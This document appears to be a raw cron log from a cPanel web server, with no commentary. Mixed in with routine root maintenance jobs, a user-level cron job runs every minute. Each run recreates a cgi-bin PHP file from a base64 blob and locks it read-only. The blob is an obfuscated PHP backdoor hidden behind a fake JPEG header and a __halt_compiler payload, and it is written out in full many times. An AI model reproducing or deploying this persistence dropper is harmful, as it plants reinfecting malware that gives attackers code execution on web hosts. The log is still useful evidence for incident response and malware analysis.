Nov 13 01:18:02 server CROND[14541]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:19:01 server CROND[15451]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:20:01 server CROND[16377]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:20:01 server CROND[16380]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 01:20:01 server CROND[16382]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 01:20:01 server CROND[16379]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 01:20:01 server CROND[16381]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 01:21:01 server CROND[17361]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:22:01 server CROND[18381]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:23:01 server CROND[19297]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:24:01 server CROND[20127]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:25:01 server CROND[20381]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 01:25:01 server CROND[20382]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:25:01 server CROND[20383]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 01:26:01 server CROND[20985]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:27:01 server CROND[21888]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:27:01 server CROND[21889]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 01:28:01 server CROND[22902]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:29:01 server CROND[23490]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:30:01 server CROND[24102]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 01:30:01 server CROND[24104]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 01:30:01 server CROND[24103]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 01:30:01 server CROND[24106]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
